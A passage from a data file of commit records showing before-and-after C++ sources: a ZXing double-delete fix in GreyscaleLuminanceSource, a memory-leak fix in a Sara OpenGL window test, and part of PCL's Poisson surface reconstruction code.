dataWidth || top + height > dataHeight || top < 0 || left < 0) {\n    throw IllegalArgumentException(\"Crop rectangle does not fit within image data.\");\n  }\n}\n\nunsigned char* GreyscaleLuminanceSource::getRow(int y, unsigned char* row) {\n  if (y < 0 || y >= this->getHeight()) {\n    throw IllegalArgumentException(\"Requested row is outside the image: \" + y);\n  }\n  int width = getWidth();\n  \/\/ TODO(flyashi): determine if row has enough size.\n  if (row == NULL) {\n    row = new unsigned char[width_];\n  }\n  int offset = (y + top_) * dataWidth_ + left_;\n  memcpy(row, &greyData_[offset], width);\n  return row;\n}\n\nunsigned char* GreyscaleLuminanceSource::getMatrix() {\n  if (left_ != 0 || top_ != 0 || dataWidth_ != width_ || dataHeight_ != height_) {\n    unsigned char* cropped = new unsigned char[width_ * height_];\n    for (int row = 0; row < height_; row++) {\n      memcpy(cropped + row * width_, greyData_ + (top_ + row) * dataWidth_ + left_, width_);\n    }\n    return cropped;\n  }\n  return greyData_;\n}\n\nRef<LuminanceSource> GreyscaleLuminanceSource::rotateCounterClockwise() {\n  \/\/ Intentionally flip the left, top, width, and height arguments as needed. dataWidth and\n  \/\/ dataHeight are always kept unrotated.\n  return Ref<LuminanceSource> (new GreyscaleRotatedLuminanceSource(greyData_, dataWidth_,\n      dataHeight_, top_, left_, height_, width_));\n}\n\n} \/* namespace *\/\n<commit_msg>Fixed the double delete problem remaining in issue 503.<commit_after>\/*\n *  GreyscaleLuminanceSource.cpp\n *  zxing\n *\n *  Copyright 2010 ZXing authors All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <zxing\/common\/GreyscaleLuminanceSource.h>\n#include <zxing\/common\/GreyscaleRotatedLuminanceSource.h>\n#include <zxing\/common\/IllegalArgumentException.h>\n\nnamespace zxing {\n\nGreyscaleLuminanceSource::GreyscaleLuminanceSource(unsigned char* greyData, int dataWidth,\n    int dataHeight, int left, int top, int width, int height) : greyData_(greyData),\n    dataWidth_(dataWidth), dataHeight_(dataHeight), left_(left), top_(top), width_(width),\n    height_(height) {\n\n  if (left + width > dataWidth || top + height > dataHeight || top < 0 || left < 0) {\n    throw IllegalArgumentException(\"Crop rectangle does not fit within image data.\");\n  }\n}\n\nunsigned char* GreyscaleLuminanceSource::getRow(int y, unsigned char* row) {\n  if (y < 0 || y >= this->getHeight()) {\n    throw IllegalArgumentException(\"Requested row is outside the image: \" + y);\n  }\n  int width = getWidth();\n  \/\/ TODO(flyashi): determine if row has enough size.\n  if (row == NULL) {\n    row = new unsigned char[width_];\n  }\n  int offset = (y + top_) * dataWidth_ + left_;\n  memcpy(row, &greyData_[offset], width);\n  return row;\n}\n\nunsigned char* GreyscaleLuminanceSource::getMatrix() {\n  int size = width_ * height_;\n  unsigned char* result = new unsigned char[size];\n  if (left_ == 0 && top_ == 0 && dataWidth_ == width_ && dataHeight_ == height_) {\n    memcpy(result, greyData_, size);\n  } else {\n    for (int row = 0; row < height_; row++) {\n      memcpy(result + row * width_, greyData_ + (top_ + row) * dataWidth_ + left_, width_);\n    }\n  }\n  return result;\n}\n\nRef<LuminanceSource> GreyscaleLuminanceSource::rotateCounterClockwise() {\n  \/\/ Intentionally flip the left, top, width, and height arguments as needed. dataWidth and\n  \/\/ dataHeight are always kept unrotated.\n  return Ref<LuminanceSource> (new GreyscaleRotatedLuminanceSource(greyData_, dataWidth_,\n      dataHeight_, top_, left_, height_, width_));\n}\n\n} \/* namespace *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ========================================================================== \/\/\n\/\/ This file is part of Sara, a basic set of libraries in C++ for computer\n\/\/ vision.\n\/\/\n\/\/ Copyright (C) 2014-2016 David Ok <david.ok8@gmail.com>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/ you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/ ========================================================================== \/\/\n\n#define BOOST_TEST_NO_MAIN\n#define BOOST_TEST_MODULE \"Graphics\/OpenGL Window\"\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <QtTest>\n\n#include <DO\/Sara\/Graphics\/DerivedQObjects\/OpenGLWindow.hpp>\n\n#include \"event_scheduler.hpp\"\n\n\nQ_DECLARE_METATYPE(DO::Sara::Event)\nQ_DECLARE_METATYPE(Qt::Key)\nQ_DECLARE_METATYPE(Qt::MouseButtons)\n\n\nusing namespace DO::Sara;\n\n\nBOOST_AUTO_TEST_SUITE(TestOpenGLWindow)\n\nBOOST_AUTO_TEST_CASE(test_construction)\n{\n  int width = 300;\n  int height = 300;\n  QString windowName = \"OpenGL Window\";\n  int x = 200;\n  int y = 300;\n\n  OpenGLWindow *window = new OpenGLWindow(width, height, windowName, x, y);\n\n  BOOST_CHECK_EQUAL(window->width(), width);\n  BOOST_CHECK_EQUAL(window->height(), height);\n  BOOST_CHECK(window->windowTitle() == windowName);\n  BOOST_CHECK(window->isVisible());\n\n  delete window;\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n\n\nclass TestFixtureForOpenGLWindowEvents\n{\nprotected:  \/\/ data members.\n  OpenGLWindow *_test_window;\n  EventScheduler _event_scheduler;\n  QPoint _mouse_pos;\n  Qt::Key _key;\n  int _mouse_buttons_type_id;\n  int _event_type_id;\n\n  int _wait_ms;\n  int _event_time_ms;\n\npublic:\n  TestFixtureForOpenGLWindowEvents()\n  {\n    _mouse_buttons_type_id =\n        qRegisterMetaType<Qt::MouseButtons>(\"Qt::MouseButtons\");\n    _event_type_id = qRegisterMetaType<Event>(\"Event\");\n    _test_window = new OpenGLWindow(300, 300);\n    _event_scheduler.set_receiver(_test_window);\n    _mouse_pos = QPoint(10, 10);\n    _key = Qt::Key_F;\n\n#ifdef _WIN32\n    _wait_ms = 100;\n    _event_time_ms = 10;\n#else\n    _wait_ms = 10;\n    _event_time_ms = 1;\n#endif\n  }\n\n  virtual ~TestFixtureForOpenGLWindowEvents()\n  {\n    _test_window->deleteLater();\n  }\n\n  void compare_key_event(QSignalSpy& spy) const\n  {\n    spy.wait(2 * _wait_ms);\n    BOOST_CHECK_EQUAL(spy.count(), 1);\n\n    auto arguments = spy.takeFirst();\n    BOOST_CHECK_EQUAL(arguments.at(0).toInt(), static_cast<int>(_key));\n  }\n};\n\nBOOST_FIXTURE_TEST_SUITE(TestOpenGLWindowEvents,\n                         TestFixtureForOpenGLWindowEvents)\n\nBOOST_AUTO_TEST_CASE(test_key_press_event)\n{\n  QSignalSpy spy(_test_window, SIGNAL(pressedKey(int)));\n  BOOST_CHECK(spy.isValid());\n\n  auto event = QKeyEvent{QEvent::KeyPress, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&event, _event_time_ms);\n\n  compare_key_event(spy);\n}\n\nBOOST_AUTO_TEST_CASE(test_key_release_event)\n{\n  QSignalSpy spy{_test_window, SIGNAL(releasedKey(int))};\n  BOOST_CHECK(spy.isValid());\n\n  auto event = QKeyEvent{QEvent::KeyRelease, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&event, _event_time_ms);\n\n  compare_key_event(spy);\n}\n\nBOOST_AUTO_TEST_CASE(test_send_no_event)\n{\n  QSignalSpy spy{_test_window, SIGNAL(sendEvent(Event))};\n  BOOST_CHECK(spy.isValid());\n\n  QMetaObject::invokeMethod(_test_window, \"waitForEvent\", Qt::AutoConnection,\n                            Q_ARG(int, 1));\n\n  \/\/ Nothing happens.\n  BOOST_CHECK(spy.wait(10));\n  BOOST_CHECK_EQUAL(spy.count(), 1);\n  auto arguments = spy.takeFirst();\n  auto arg = arguments.at(0);\n  arg.convert(_event_type_id);\n  auto event = arguments.at(0).value<Event>();\n  BOOST_CHECK_EQUAL(event.type, DO::Sara::NO_EVENT);\n}\n\nBOOST_AUTO_TEST_CASE(test_send_pressed_key_event)\n{\n  \/\/ Spy the sendEvent signal.\n  QSignalSpy spy{_test_window, SIGNAL(sendEvent(Event))};\n  BOOST_CHECK(spy.isValid());\n\n  \/\/ Ask the testing window to wait.\n  QMetaObject::invokeMethod(_test_window, \"waitForEvent\", Qt::AutoConnection,\n                            Q_ARG(int, _wait_ms));\n\n  \/\/ Schedule a key press event.\n  auto qt_event = QKeyEvent{QEvent::KeyPress, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&qt_event, _event_time_ms);\n\n  \/\/ The spy waits for the events.\n  BOOST_CHECK(spy.wait(2 * _wait_ms));\n\n  \/\/ Check that the spy received one key press event.\n  BOOST_CHECK_EQUAL(spy.count(), 1);\n\n  \/\/ Check the details of the key press event.\n  auto arguments = spy.takeFirst();\n  auto arg = arguments.at(0);\n  arg.convert(_event_type_id);\n  auto event = arguments.at(0).value<Event>();\n  BOOST_CHECK_EQUAL(event.type, DO::Sara::KEY_PRESSED);\n  BOOST_CHECK_EQUAL(event.key, _key);\n}\n\nBOOST_AUTO_TEST_CASE(test_send_released_key_event)\n{\n  \/\/ Spy the sendEvent signal.\n  QSignalSpy spy{_test_window, SIGNAL(sendEvent(Event))};\n  BOOST_CHECK(spy.isValid());\n\n  \/\/ Ask the testing window to wait for an event.\n  QMetaObject::invokeMethod(_test_window, \"waitForEvent\", Qt::AutoConnection,\n                            Q_ARG(int, _wait_ms));\n\n  \/\/ Schedule a key press event.\n  auto qt_event = QKeyEvent{QEvent::KeyRelease, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&qt_event, _event_time_ms);\n\n  \/\/ Check that the spy received one key press event.\n  BOOST_CHECK(spy.wait(2 * _wait_ms));\n  BOOST_CHECK_EQUAL(spy.count(), 1);\n\n  \/\/ Check the details of the key release event.\n  auto arguments = spy.takeFirst();\n  auto arg = arguments.at(0);\n  arg.convert(_event_type_id);\n  auto event = arguments.at(0).value<Event>();\n  BOOST_CHECK_EQUAL(event.type, DO::Sara::KEY_RELEASED);\n  BOOST_CHECK_EQUAL(event.key, _key);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n\n\nint main(int argc, char* argv[])\n{\n  QApplication app{argc, argv};\n  app.setAttribute(Qt::AA_Use96Dpi, true);\n  return boost::unit_test::unit_test_main([]() { return true; }, argc, argv);\n}\n<commit_msg>MAINT: fix test and memory leak.<commit_after>\/\/ ========================================================================== \/\/\n\/\/ This file is part of Sara, a basic set of libraries in C++ for computer\n\/\/ vision.\n\/\/\n\/\/ Copyright (C) 2014-2016 David Ok <david.ok8@gmail.com>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/ you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/ ========================================================================== \/\/\n\n#define BOOST_TEST_NO_MAIN\n#define BOOST_TEST_MODULE \"Graphics\/OpenGL Window\"\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <QtTest>\n\n#include <DO\/Sara\/Graphics\/DerivedQObjects\/OpenGLWindow.hpp>\n\n#include \"event_scheduler.hpp\"\n\n\nQ_DECLARE_METATYPE(DO::Sara::Event)\nQ_DECLARE_METATYPE(Qt::Key)\nQ_DECLARE_METATYPE(Qt::MouseButtons)\n\n\nusing namespace DO::Sara;\n\n\nBOOST_AUTO_TEST_SUITE(TestOpenGLWindow)\n\nBOOST_AUTO_TEST_CASE(test_construction)\n{\n  int width = 300;\n  int height = 300;\n  QString windowName = \"OpenGL Window\";\n  int x = 200;\n  int y = 300;\n\n  OpenGLWindow *window = new OpenGLWindow(width, height, windowName, x, y);\n\n  BOOST_CHECK_EQUAL(window->width(), width);\n  BOOST_CHECK_EQUAL(window->height(), height);\n  BOOST_CHECK(window->windowTitle() == windowName);\n  BOOST_CHECK(window->isVisible());\n\n  delete window;\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n\n\nclass TestFixtureForOpenGLWindowEvents\n{\nprotected:  \/\/ data members.\n  OpenGLWindow *_test_window;\n  EventScheduler _event_scheduler;\n  QPoint _mouse_pos;\n  Qt::Key _key;\n  int _mouse_buttons_type_id;\n  int _event_type_id;\n\n  int _wait_ms;\n  int _event_time_ms;\n\npublic:\n  TestFixtureForOpenGLWindowEvents()\n  {\n    _mouse_buttons_type_id =\n        qRegisterMetaType<Qt::MouseButtons>(\"Qt::MouseButtons\");\n    _event_type_id = qRegisterMetaType<Event>(\"Event\");\n    _test_window = new OpenGLWindow(300, 300);\n    _event_scheduler.set_receiver(_test_window);\n    _mouse_pos = QPoint(10, 10);\n    _key = Qt::Key_F;\n\n#ifdef _WIN32\n    _wait_ms = 100;\n    _event_time_ms = 20;\n#else\n    _wait_ms = 10;\n    _event_time_ms = 1;\n#endif\n  }\n\n  virtual ~TestFixtureForOpenGLWindowEvents()\n  {\n    delete _test_window;\n  }\n\n  void compare_key_event(QSignalSpy& spy) const\n  {\n    spy.wait(2 * _wait_ms);\n    BOOST_CHECK_EQUAL(spy.count(), 1);\n\n    auto arguments = spy.takeFirst();\n    BOOST_CHECK_EQUAL(arguments.at(0).toInt(), static_cast<int>(_key));\n  }\n};\n\nBOOST_FIXTURE_TEST_SUITE(TestOpenGLWindowEvents,\n                         TestFixtureForOpenGLWindowEvents)\n\nBOOST_AUTO_TEST_CASE(test_key_press_event)\n{\n  QSignalSpy spy(_test_window, SIGNAL(pressedKey(int)));\n  BOOST_CHECK(spy.isValid());\n\n  auto event = QKeyEvent{QEvent::KeyPress, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&event, _event_time_ms);\n\n  compare_key_event(spy);\n}\n\nBOOST_AUTO_TEST_CASE(test_key_release_event)\n{\n  QSignalSpy spy{_test_window, SIGNAL(releasedKey(int))};\n  BOOST_CHECK(spy.isValid());\n\n  auto event = QKeyEvent{QEvent::KeyRelease, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&event, _event_time_ms);\n\n  compare_key_event(spy);\n}\n\nBOOST_AUTO_TEST_CASE(test_send_no_event)\n{\n  QSignalSpy spy{_test_window, SIGNAL(sendEvent(Event))};\n  BOOST_CHECK(spy.isValid());\n\n  QMetaObject::invokeMethod(_test_window, \"waitForEvent\", Qt::AutoConnection,\n                            Q_ARG(int, 1));\n\n  \/\/ Nothing happens.\n  BOOST_CHECK(spy.wait(10));\n  BOOST_CHECK_EQUAL(spy.count(), 1);\n  auto arguments = spy.takeFirst();\n  auto arg = arguments.at(0);\n  arg.convert(_event_type_id);\n  auto event = arguments.at(0).value<Event>();\n  BOOST_CHECK_EQUAL(event.type, DO::Sara::NO_EVENT);\n}\n\nBOOST_AUTO_TEST_CASE(test_send_pressed_key_event)\n{\n  \/\/ Spy the sendEvent signal.\n  QSignalSpy spy{_test_window, SIGNAL(sendEvent(Event))};\n  BOOST_CHECK(spy.isValid());\n\n  \/\/ Ask the testing window to wait.\n  QMetaObject::invokeMethod(_test_window, \"waitForEvent\", Qt::AutoConnection,\n                            Q_ARG(int, _wait_ms));\n\n  \/\/ Schedule a key press event.\n  auto qt_event = QKeyEvent{QEvent::KeyPress, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&qt_event, _event_time_ms);\n\n  \/\/ The spy waits for the events.\n  BOOST_CHECK(spy.wait(2 * _wait_ms));\n\n  \/\/ Check that the spy received one key press event.\n  BOOST_CHECK_EQUAL(spy.count(), 1);\n\n  \/\/ Check the details of the key press event.\n  auto arguments = spy.takeFirst();\n  auto arg = arguments.at(0);\n  arg.convert(_event_type_id);\n  auto event = arguments.at(0).value<Event>();\n  BOOST_CHECK_EQUAL(event.type, DO::Sara::KEY_PRESSED);\n  BOOST_CHECK_EQUAL(event.key, _key);\n}\n\nBOOST_AUTO_TEST_CASE(test_send_released_key_event)\n{\n  \/\/ Spy the sendEvent signal.\n  QSignalSpy spy{_test_window, SIGNAL(sendEvent(Event))};\n  BOOST_CHECK(spy.isValid());\n\n  \/\/ Ask the testing window to wait for an event.\n  QMetaObject::invokeMethod(_test_window, \"waitForEvent\", Qt::AutoConnection,\n                            Q_ARG(int, _wait_ms));\n\n  \/\/ Schedule a key press event.\n  auto qt_event = QKeyEvent{QEvent::KeyRelease, _key, Qt::NoModifier};\n  _event_scheduler.schedule_event(&qt_event, _event_time_ms);\n\n  \/\/ Check that the spy received one key press event.\n  BOOST_CHECK(spy.wait(2 * _wait_ms));\n  BOOST_CHECK_EQUAL(spy.count(), 1);\n\n  \/\/ Check the details of the key release event.\n  auto arguments = spy.takeFirst();\n  auto arg = arguments.at(0);\n  arg.convert(_event_type_id);\n  auto event = arguments.at(0).value<Event>();\n  BOOST_CHECK_EQUAL(event.type, DO::Sara::KEY_RELEASED);\n  BOOST_CHECK_EQUAL(event.key, _key);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n\n\nint main(int argc, char* argv[])\n{\n  QApplication app{argc, argv};\n  app.setAttribute(Qt::AA_Use96Dpi, true);\n  return boost::unit_test::unit_test_main([]() { return true; }, argc, argv);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Software License Agreement (BSD License)\n *\n *  Copyright (c) 2010, Willow Garage, Inc.\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and\/or other materials provided\n *     with the distribution.\n *   * Neither the name of Willow Garage, Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *\n * $Id$\n *\n *\/\n\n#ifndef PCL_SURFACE_IMPL_POISSON_H_\n#define PCL_SURFACE_IMPL_POISSON_H_\n\n#include \"pcl\/surface\/poisson.h\"\n#include <pcl\/common\/common.h>\n#include <pcl\/common\/vector_average.h>\n#include <pcl\/Vertices.h>\n\n#include \"pcl\/surface\/poisson\/octree.h\"\n#include \"pcl\/surface\/poisson\/sparse_matrix.h\"\n#include \"pcl\/surface\/poisson\/function_data.h\"\n#include \"pcl\/surface\/poisson\/ppolynomial.h\"\n#include \"pcl\/surface\/poisson\/multi_grid_octree_data.h\"\n\n#define MEMORY_ALLOCATOR_BLOCK_SIZE 1<<12\n\n#include <stdarg.h>\n#include <string>\n\nusing namespace pcl::surface::poisson;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT>\npcl::Poisson<PointNT>::Poisson ()\n  : no_reset_samples_ (false),\n    no_clip_tree_ (false),\n    confidence_ (false),\n    manifold_ (false),\n    depth_ (10),\n    solver_divide_ (8),\n    iso_divide_ (8),\n    refine_ (3),\n    kernel_depth_ (8),\n    degree_ (2),\n    samples_per_node_ (1.0),\n    scale_ (1.25)\n{\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT>\npcl::Poisson<PointNT>::~Poisson ()\n{\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT> template <int Degree> void\npcl::Poisson<PointNT>::execute (CoredMeshData &mesh,\n                                         Point3D<float> &center)\n{\n  float scale = 1;\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Fix courtesy of David Gallup \/\/\n  \/\/ TreeNodeData::UseIndex = 1;  \/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  Octree<Degree> tree;\n  PPolynomial<Degree> ReconstructionFunction = PPolynomial<Degree>::GaussianApproximation ();\n\n  center.coords[0] = center.coords[1] = center.coords[2] = 0;\n\n  TreeOctNode::SetAllocator(MEMORY_ALLOCATOR_BLOCK_SIZE);\n\n  int kernel_depth=depth_-2;\n  tree.setFunctionData (ReconstructionFunction,depth_, 0, float (1.0) \/ (1<<depth_));\n\n  tree.setTree (input_, depth_, kernel_depth, float(samples_per_node_), scale_, center, scale, !no_reset_samples_, confidence_);\n\n  if(!no_clip_tree_)\n    tree.ClipTree ();\n\n  tree.finalize1 (refine_);\n  tree.SetLaplacianWeights ();\n  tree.finalize2 (refine_);\n\n  tree.LaplacianMatrixIteration (solver_divide_);\n\n  float isoValue=tree.GetIsoValue ();\n\n  if (iso_divide_)\n    tree.GetMCIsoTriangles (isoValue, iso_divide_, &mesh, 0, 1, manifold_);\n  else\n    tree.GetMCIsoTriangles (isoValue, &mesh, 0, 1, manifold_);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT> void\npcl::Poisson<PointNT>::performReconstruction (PolygonMesh &output)\n{\n  CoredVectorMeshData mesh;\n  Point3D<float> center;\n\n  switch (degree_)\n  {\n    case 1:\n      execute<1> (mesh, center);\n      break;\n    case 2:\n      execute<2> (mesh, center);\n      break;\n    case 3:\n      execute<3> (mesh, center);\n      break;\n    case 4:\n      execute<4> (mesh, center);\n      break;\n    case 5:\n      execute<5> (mesh, center);\n      break;\n    default:\n      PCL_ERROR (stderr,\"Degree %d not supported\\n\", degree_);\n  }\n\n  \/\/\/ Write output PolygonMesh\n  float scale = 1;\n   \/\/ write vertices\n   pcl::PointCloud < pcl::PointXYZ > cloud;\n   cloud.points.resize (int (mesh.outOfCorePointCount()+mesh.inCorePoints.size ()));\n   Point3D<float> p;\n   for (int i = 0; i < int (mesh.inCorePoints.size()); i++)\n   {\n     p = mesh.inCorePoints[i];\n     cloud.points[i].x = p.coords[0]*scale+center.coords[0];\n     cloud.points[i].y = p.coords[1]*scale+center.coords[1];\n     cloud.points[i].z = p.coords[2]*scale+center.coords[2];\n   }\n   for (int i = int (mesh.inCorePoints.size ()); i < int (mesh.outOfCorePointCount () + mesh.inCorePoints.size ()); i++)\n   {\n     mesh.nextOutOfCorePoint (p);\n     cloud.points[i].x = p.coords[0]*scale+center.coords[0];\n     cloud.points[i].y = p.coords[1]*scale+center.coords[1];\n     cloud.points[i].z = p.coords[2]*scale+center.coords[2];\n   }\n   pcl::toROSMsg (cloud, output.cloud);\n   output.polygons.resize (mesh.triangleCount ());\n\n   \/\/ Write faces\n   TriangleIndex tIndex;\n   int inCoreFlag;\n   for (int i = 0; i < mesh.triangleCount(); i++)\n   {\n     \/\/ Create and fill a struct that the ply code can handle\n     pcl::Vertices v;\n     v.vertices.resize (3);\n\n     mesh.nextTriangle(tIndex,inCoreFlag);\n     if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[0]))\n       tIndex.idx[0] += int(mesh.inCorePoints.size());\n     if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[1]))\n       tIndex.idx[1] += int(mesh.inCorePoints.size());\n     if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[2]))\n       tIndex.idx[2] += int(mesh.inCorePoints.size());\n\n     for (int j = 0; j < 3; j++)\n       v.vertices[j] = tIndex.idx[j];\n     output.polygons[i] = v;\n   }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT> void\npcl::Poisson<PointNT>::performReconstruction (pcl::PointCloud<PointNT> &points,\n                                                       std::vector<pcl::Vertices> &polygons)\n{\n  CoredVectorMeshData mesh;\n  Point3D<float> center;\n\n  switch(degree_)\n  {\n    case 1:\n      execute<1> (mesh, center);\n      break;\n    case 2:\n      execute<2> (mesh, center);\n      break;\n    case 3:\n      execute<3> (mesh, center);\n      break;\n    case 4:\n      execute<4> (mesh, center);\n      break;\n    case 5:\n      execute<5> (mesh, center);\n      break;\n    default:\n      PCL_ERROR (stderr,\"Degree %d not supported\\n\", degree_);\n  }\n\n  \/\/\/ Write output PolygonMesh\n  float scale = 1;\n   \/\/ write vertices\n   points.points.resize (int (mesh.outOfCorePointCount ()+mesh.inCorePoints.size ()));\n   Point3D<float> p;\n   for (int i = 0; i < int(mesh.inCorePoints.size()); i++)\n   {\n     p = mesh.inCorePoints[i];\n     points.points[i].x = p.coords[0]*scale+center.coords[0];\n     points.points[i].y = p.coords[1]*scale+center.coords[1];\n     points.points[i].z = p.coords[2]*scale+center.coords[2];\n   }\n   for (int i = int(mesh.inCorePoints.size()); i < int (mesh.outOfCorePointCount() + mesh.inCorePoints.size ()); i++)\n   {\n     mesh.nextOutOfCorePoint(p);\n     points.points[i].x = p.coords[0]*scale+center.coords[0];\n     points.points[i].y = p.coords[1]*scale+center.coords[1];\n     points.points[i].z = p.coords[2]*scale+center.coords[2];\n   }\n\n   polygons.resize (mesh.triangleCount ());\n\n   \/\/ write faces\n   TriangleIndex tIndex;\n   int inCoreFlag;\n   for (int i = 0; i < mesh.triangleCount (); i++)\n   {\n     \/\/ create and fill a struct that the ply code can handle\n     pcl::Vertices v;\n     v.vertices.resize (3);\n\n     mesh.nextTriangle(tIndex,inCoreFlag);\n     if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[0]))\n       tIndex.idx[0] += int(mesh.inCorePoints.size());\n     if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[1]))\n       tIndex.idx[1] += int(mesh.inCorePoints.size());\n     if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[2]))\n       tIndex.idx[2] += int(mesh.inCorePoints.size());\n     for (int j = 0; j < 3; j++)\n       v.vertices[j] = tIndex.idx[j];\n     polygons[i] = v;\n   }\n}\n\n\n#define PCL_INSTANTIATE_Poisson(T) template class PCL_EXPORTS pcl::Poisson<T>;\n\n#endif    \/\/ PCL_SURFACE_IMPL_POISSON_H_\n\n<commit_msg>minor<commit_after>\/*\n * Software License Agreement (BSD License)\n *\n *  Point Cloud Library (PCL) - www.pointclouds.org\n *  Copyright (c) 2010-2012, Willow Garage, Inc.\n *\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and\/or other materials provided\n *     with the distribution.\n *   * Neither the name of Willow Garage, Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  